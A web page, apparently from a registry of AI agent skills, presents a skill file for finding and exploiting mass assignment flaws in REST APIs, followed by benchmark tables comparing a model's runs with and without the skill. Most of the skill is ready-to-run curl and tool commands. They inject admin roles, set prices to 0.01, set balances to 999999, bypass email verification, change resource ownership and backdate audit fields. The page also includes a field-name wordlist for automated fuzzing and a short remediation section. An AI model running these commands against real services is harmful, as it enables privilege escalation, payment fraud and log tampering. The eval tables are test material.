Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.
.claude/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-07 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✗→✗ | = Same ✗ | — | — |
| case-22 | ✗→✗ | = Same ✗ | — | — |
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
bash# Examine API responses to identify all object fields curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq . # Response reveals fields: id, username, email, role, isAdmin, verified, balance # Check API documentation for exposed schemas curl http://target.com/api/docs curl http://target.com/swagger.json curl http://target.com/openapi.yaml # Use Arjun for hidden parameter discovery arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN" # Examine create/update request body vs response body # The response may contain more fields than the request sends # Those extra fields are mass assignment candidates
bash# Inject role/admin fields in profile update curl -X PUT http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"username":"testuser","email":"test@test.com","role":"admin"}' # Try common admin field names curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"isAdmin":true}' curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}' # Test during registration curl -X POST http://target.com/api/register \ -H "Content-Type: application/json" \ -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
bash# Modify price or balance fields curl -X POST http://target.com/api/orders \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"product_id":1,"quantity":1,"price":0.01}' # Modify account balance curl -X PATCH http://target.com/api/wallet \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"balance":999999}' # Modify discount or coupon fields curl -X POST http://target.com/api/checkout \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}' # Modify subscription tier curl -X PATCH http://target.com/api/subscription \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"plan":"enterprise","price":0}'
bash# Bypass email verification curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"email_verified":true,"verified":true,"active":true}' # Modify account status curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"status":"active","banned":false,"suspended":false}' # Modify ownership/organization curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
bash# Change resource ownership curl -X PATCH http://target.com/api/documents/123 \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"owner_id":"admin-user-id"}' # Assign to different group/team curl -X PATCH http://target.com/api/projects/456 \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"team_id":"privileged-team","access_level":"write"}' # Modify created_at/updated_at for audit log manipulation curl -X PATCH http://target.com/api/entries/789 \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
bash# Use Burp Intruder with field names wordlist # Wordlist of common mass assignment fields: # role, admin, isAdmin, is_admin, user_type, privilege, level # verified, email_verified, active, banned, suspended # balance, credits, price, discount, plan, tier # owner_id, organization_id, team_id, group_id # Python automation script python3 mass_assignment_tester.py \ --url http://target.com/api/users/me \ --method PATCH \ --token "Bearer USER_TOKEN" \ --fields-file mass_assignment_fields.txt # Nuclei mass assignment templates echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
| Concept | Description | |---------|-------------| | Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction | | Autobinding | Framework feature that maps HTTP parameters directly to object properties | | Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) | | Denylist | List of forbidden fields (less secure than allowlist approach) | | Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API | | DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment | | Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |
| Tool | Purpose | |------|---------| | Burp Suite | API request interception and parameter injection | | Postman | API testing and collection-based mass assignment testing | | Arjun | Hidden parameter discovery tool for API endpoints | | param-miner | Burp extension for discovering hidden parameters | | OWASP ZAP | Automated API scanning with parameter injection | | swagger-codegen | Generate API clients from OpenAPI specs for testing |
"role":"admin" or "isAdmin":true in profile update to gain administrative accessprice or discount fields in order creation endpoints to purchase items at reduced costemail_verified:true during registration or profile update to bypass verification requirementsemail or phone fields to attacker-controlled values, then trigger password resetplan:"enterprise" in subscription update to gain premium features without payment## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)
### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |
### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +13 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.